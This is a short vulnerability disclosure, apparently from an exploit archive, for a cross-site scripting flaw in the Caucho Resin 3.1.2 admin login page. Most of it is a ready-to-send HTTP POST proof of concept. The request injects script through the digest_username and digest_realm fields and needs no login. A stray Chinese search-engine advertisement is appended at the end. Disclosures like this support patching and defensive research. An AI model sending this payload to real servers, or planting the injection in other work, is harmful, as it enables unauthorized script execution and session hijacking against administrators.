Caucho Resin Web Server 3.1.2 Cross Site Scripting

`  
  
  
hi,brother,I want to post a vul of Caucho Resin web server   
  
  
  
  
  
# Exploit Title:Caucho Resin web server 3.1.2 Admin Login digest_username&digest_realm XSS Vulnerability   
# Date: 2010-05-17  
# Author: flyh4t  
# Software Link: http://www.caucho.com/  
# Version: Professional 3.1.2  
# CVE : no  
  
  
  
P0C:(no need of login)  
  
  
  
POST /resin-admin/ HTTP/1.1  
Accept: */*  
Referer: http://1.1.1.1/resin-admin/  
Accept-Language: zh-cn  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; msn OptimizedIE8;ZHCN)  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
Host: 1.1.1.1  
Content-Length: 194  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: JSESSIONID=abc7CGMIyBwpNgFko8MIs  
  
  
  
digest_username=aaa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22&digest_password1=&digest_password2=&digest_realm=aaa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C%22&digest_attempt=true  
  
_________________________________________________________________  
想知道明天天气如何？必应告诉你！  
http://cn.bing.com/search?q=%E5%A4%A9%E6%B0%94%E9%A2%84%E6%8A%A5&form=MICHJ2  
  
  
`